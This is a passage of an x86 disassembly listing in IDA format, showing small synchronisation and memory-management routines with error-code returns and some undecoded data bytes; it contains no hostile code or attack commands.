		call	sub_401708	; jumptable 004300CE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300DD:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017B2	; jumptable 004300CE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300E5:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4300ED:				; CODE XREF: ___:004300CEj
					; DATA XREF: ___:off_4300FCo
		call	sub_4017C1	; jumptable 004300CE case 0
		call	sub_40161D

locret_4300F7:				; CODE XREF: ___:004300CCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4300FC	dd offset loc_4300ED	; DATA XREF: ___:004300CEr
		dd offset loc_4300D5	; jump table for switch	statement
		dd offset loc_4300DD
		dd offset loc_4300E5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430130:				; CODE XREF: ___:004017B7j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h,	4C48377h
		dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430180	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4301AB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_4301AB
		push	eax
		nop
		call	near ptr 2750677h
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4301B0


loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		call	near ptr 27505D0h
		nop
		test	eax, eax
		jnz	short loc_430227
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3E8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 23109EDh, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 109E850h
		dd 50900234h, 9050D3FFh, 31FD33E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32038EE8h
		dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3F8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3F8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2740966h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44574C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E900
		mov	dword_44574C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E900
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E900
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44574C
		push	offset dword_50E900
		mov	[edx+8], eax
		mov	dword_44574C, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2740771h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 2760571h
		nop
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2770000h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	near ptr 27609E7h
		nop
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E960
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27505D0h
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FB66E890h
		dd 7E830232h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2760411h
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27505D0h
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FA2EE890h
		dd 7E830232h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 27606B4h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		call	near ptr 27606B4h
		nop
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 27606B4h
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

